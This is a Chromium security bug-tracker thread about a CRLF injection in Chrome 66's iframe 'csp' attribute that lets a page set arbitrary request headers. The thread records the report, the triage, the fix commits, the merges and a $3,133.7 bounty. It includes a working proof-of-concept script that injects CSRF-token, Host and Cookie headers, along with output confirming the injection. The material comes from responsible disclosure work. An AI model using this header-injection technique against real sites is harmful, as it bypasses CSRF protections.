New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 845961 link

Starred by 3 users

Issue metadata

Status: Fixed
Owner:
Closed: May 25
Cc:
Components:
EstimatedDays: ----
NextAction: 2018-05-30
OS: Linux , Android , Windows , Chrome , Mac
Pri: 1
Type: Bug-Security



Sign in to add a comment

Security: Setting arbitrary http request headers via <iframe csp> attribute

Reported by mic...@bentkowski.info, May 23

Issue description

VULNERABILITY DETAILS
Using `csp` attribute in <iframe> element, an attacker might set arbitrary http headers, using "\r\n" characters. The most obvious scenario of attack is to add a "x-csrf-token" header to bypass header-based CSRF protection.

Interestingly, though, it seems that arbitrary headers might be set, including Host, Content-type or User-Agent.

VERSION
Chrome Version: 66.0.3359.181 stable
Operating System: macOS Sierra 10.12.6 (16G1314)

REPRODUCTION CASE

1. On http://bntk.pl/headers.php there is a simple page that just returns all http request headers that the server saw. Please note that the page responds with `Allow-CSP-From: *` header, so that it can be easily seen what headers were sent.
2. Below is a code that sets five headers: Host, X-Csrf-Token, Cookie, User-Agent and Content-Type.

<!doctype html><meta charset=utf-8>.
<script>
	const ifr = document.createElement('iframe');
	ifr.src = 'http://bntk.pl/headers.php?'+Math.random();
	ifr.height = '600px';
	const headers = [
		'X-CSRF-TOKEN: 0123456789abcdef',
		'Host: changed-host.bntk.pl',
		'Cookie: aaaaa',
		'User-Agent: Whatever',
		'Content-type: application/json',
	]
	ifr.csp = 'script-src\r\n' + headers.join('\r\n');
	
	document.body.appendChild(ifr);
</script>

3. The output should be similar to:

array(11) {
  ["Host"]=>
  string(20) "changed-host.bntk.pl"
  ["Connection"]=>
  string(10) "keep-alive"
  ["Upgrade-Insecure-Requests"]=>
  string(1) "1"
  ["Sec-Required-CSP"]=>
  string(10) "script-src"
  ["X-CSRF-TOKEN"]=>
  string(16) "0123456789abcdef"
  ["Cookie"]=>
  string(5) "aaaaa"
  ["User-Agent"]=>
  string(8) "Whatever"
  ["Content-type"]=>
  string(16) "application/json"
  ["Accept"]=>
  string(85) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"
  ["Accept-Encoding"]=>
  string(13) "gzip, deflate"
  ["Accept-Language"]=>
  string(35) "pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7"
}


which proves that additional headers were set.
 
Is the claim here that a "CSP" attribute added to an iframe is somehow converted to a set of request headers? 
Cc: mkwst@chromium.org
Components: Blink>SecurityFeature>ContentSecurityPolicy
https://w3c.github.io/webappsec-csp/embedded/#required-csp
That's right. The `csp` attribute is converted to Sec-Required-CSP header, per: https://w3c.github.io/webappsec-csp/embedded/#allow-csp-from-header .

There appears to be a classic CRLF injection though, that makes it possible to escape from Sec-Required-CSP and set arbitrary headers.
Labels: Security_Severity-High Security_Impact-Stable OS-Android OS-Chrome OS-Linux OS-Mac OS-Windows Pri-1
Owner: andypaicu@chromium.org
Status: Assigned (was: Unconfirmed)
Well. That's pretty terrible and seems easily exploitable. :( Thanks for the report!

Andy, can you fix this, please? We ought to be rejecting values with characters that aren't expected in a valid policy. I would have expected `ContentSecurityPolicy::IsValidCSPAttr` (https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/frame/csp/content_security_policy.cc?rcl=524e60fb52e11d589f3a0cc9010e98080bf98e23&l=1844) to reject this value, but it apparently doesn't.
Project Member

Comment 5 by sheriffbot@chromium.org, May 24

Labels: M-66
Status: Fixed (was: Assigned)
Cc: awhalley@chromium.org
Labels: Merge-Request-67 Merge-Request-66
Once this bakes a bit, I'd like to get it merged back as far as y'all will let us.

+awhalley@: FYI.
Project Member

Comment 9 by sheriffbot@chromium.org, May 25

Labels: -Merge-Request-67 Merge-Review-67 Hotlist-Merge-Review
This bug requires manual review: We are only 3 days from stable.
Please contact the milestone owner if you have questions.
Owners: cmasso@(Android), cmasso@(iOS), kbleicher@(ChromeOS), govind@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 10 Deleted

+awhalley@ for M67 merge review. Pls note this is not baked in canary yet and we already cut Stable RC for release next week. Thank you.
I'm afraid we've missed the cut for 67 stable, however once this has been out for a bit we should get it merged to 67 and pick it up in any stable updates.

The changes look good and well test covered, and I can't imagine any compatibility issues; andypaicu@, mkwst@ any other risk comments?
NextAction: 2018-05-29
Labels: -Hotlist-Merge-Review -Merge-Review-67 Merge-Approved-67
Approving the merge upon comments from andypaicu@, mkwst@.
Project Member

Comment 15 by sheriffbot@chromium.org, May 26

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
The NextAction date has arrived: 2018-05-29
Labels: Merge-Request-68
mkwst@ is out for the week. I can't really see any risks associated with this change.
Project Member

Comment 19 by sheriffbot@chromium.org, May 29

Cc: cmasso@google.com
This issue has been approved for a merge. Please merge the fix to any appropriate branches as soon as possible!

If all merges have been completed, please remove any remaining Merge-Approved labels from this issue.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: reward-topanel
Do we still intend to merge this into M67? Please do so now if that's the case.
Labels: -M-66 -Merge-Request-66 Merge-Rejected-66 M-67
NextAction: 2018-05-30
Yep (and to 68). The eng team is in Germany and I think they've got a public holiday next week. If it's not done tomorrow pacific time I'll do the cherry pick.
Labels: -Merge-Request-68 Merge-Approved-68
branch:3440
The NextAction date has arrived: 2018-05-30
Project Member

Comment 25 by bugdroid1@chromium.org, May 31

Labels: -merge-approved-68 merge-merged-3440
The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/a318c5d3937989dc17ab08b5cb0899b2903597b9

commit a318c5d3937989dc17ab08b5cb0899b2903597b9
Author: Andrew R. Whalley <awhalley@chromium.org>
Date: Thu May 31 16:06:40 2018

[M68 Merge] Fixed CSP directive value parsing accepted character range

TBR=andypaicu@chromium.org

(cherry picked from commit 5b8466d84c801a9dfe140cb9a9f6be3a8caba230)

Bug:  845961 
Change-Id: Ifc9609058cd7cbd268785db46534e3ed09da6ce3
Reviewed-on: https://chromium-review.googlesource.com/1071510
Commit-Queue: Andy Paicu <andypaicu@chromium.org>
Reviewed-by: Mike West <mkwst@chromium.org>
Cr-Original-Commit-Position: refs/heads/master@{#561834}
Reviewed-on: https://chromium-review.googlesource.com/1080929
Reviewed-by: Andrew Whalley <awhalley@chromium.org>
Cr-Commit-Position: refs/branch-heads/3440@{#62}
Cr-Branched-From: 010ddcfda246975d194964ccf20038ebbdec6084-refs/heads/master@{#561733}
[add] https://crrev.com/a318c5d3937989dc17ab08b5cb0899b2903597b9/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/embedded-enforcement/required_csp-header-crlf.html
[modify] https://crrev.com/a318c5d3937989dc17ab08b5cb0899b2903597b9/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/embedded-enforcement/support/echo-required-csp.py
[modify] https://crrev.com/a318c5d3937989dc17ab08b5cb0899b2903597b9/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/embedded-enforcement/support/testharness-helper.sub.js
[modify] https://crrev.com/a318c5d3937989dc17ab08b5cb0899b2903597b9/third_party/blink/renderer/core/frame/csp/content_security_policy.cc
[modify] https://crrev.com/a318c5d3937989dc17ab08b5cb0899b2903597b9/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc

Project Member

Comment 26 by bugdroid1@chromium.org, May 31

Labels: -merge-approved-67 merge-merged-3396
The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/b05860188637bee077fadfd147fe4c46ac204e18

commit b05860188637bee077fadfd147fe4c46ac204e18
Author: Andrew R. Whalley <awhalley@chromium.org>
Date: Thu May 31 16:10:30 2018

[M67 Merge] Fixed CSP directive value parsing accepted character range

TBR=andypaicu@chromium.org

(cherry picked from commit 5b8466d84c801a9dfe140cb9a9f6be3a8caba230)

Bug:  845961 
Change-Id: Ifc9609058cd7cbd268785db46534e3ed09da6ce3
Reviewed-on: https://chromium-review.googlesource.com/1071510
Commit-Queue: Andy Paicu <andypaicu@chromium.org>
Reviewed-by: Mike West <mkwst@chromium.org>
Cr-Original-Commit-Position: refs/heads/master@{#561834}
Reviewed-on: https://chromium-review.googlesource.com/1080931
Reviewed-by: Andrew Whalley <awhalley@chromium.org>
Cr-Commit-Position: refs/branch-heads/3396@{#723}
Cr-Branched-From: 9ef2aa869bc7bc0c089e255d698cca6e47d6b038-refs/heads/master@{#550428}
[add] https://crrev.com/b05860188637bee077fadfd147fe4c46ac204e18/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/embedded-enforcement/required_csp-header-crlf.html
[modify] https://crrev.com/b05860188637bee077fadfd147fe4c46ac204e18/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/embedded-enforcement/support/echo-required-csp.py
[modify] https://crrev.com/b05860188637bee077fadfd147fe4c46ac204e18/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/embedded-enforcement/support/testharness-helper.sub.js
[modify] https://crrev.com/b05860188637bee077fadfd147fe4c46ac204e18/third_party/blink/renderer/core/frame/csp/content_security_policy.cc
[modify] https://crrev.com/b05860188637bee077fadfd147fe4c46ac204e18/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc

Labels: Release-1-M67
Labels: -reward-topanel reward-unpaid reward-3133.7
*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.
*********************************
Hi michal@! The VRP panel decided to award $3,000 for this report, plus a $133.7 bonus :-)
Labels: -reward-unpaid reward-inprocess
Thank you very much!

But what is that bonus for? :)
Hi michal@ - we use the bonus to reward particularly cunning, clever, or elegant bugs. Your report used a simple and well known attack technique that should't have worked against a Chrome feature in 2018, but yet, it did! Thanks for giving the simple things a try.
Project Member

Comment 33 by bugdroid1@chromium.org, Jun 25

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/fa68dcfd12e376aa880b3193a77b896e6c54efdf

commit fa68dcfd12e376aa880b3193a77b896e6c54efdf
Author: Mike West <mkwst@chromium.org>
Date: Mon Jun 25 22:30:44 2018

Verify that header values set from Blink don't contain '\n'.

Because that would be silly.

Bug:  845961 
Change-Id: I69de2cb093a3629de63c48652c9499f7387b8334
Reviewed-on: https://chromium-review.googlesource.com/1109757
Commit-Queue: Mike West <mkwst@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Cr-Commit-Position: refs/heads/master@{#570206}
[modify] https://crrev.com/fa68dcfd12e376aa880b3193a77b896e6c54efdf/third_party/blink/renderer/core/exported/web_associated_url_loader_impl_test.cc
[modify] https://crrev.com/fa68dcfd12e376aa880b3193a77b896e6c54efdf/third_party/blink/renderer/platform/network/http_header_map.h

Project Member

Comment 34 by sheriffbot@chromium.org, Sep 1

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment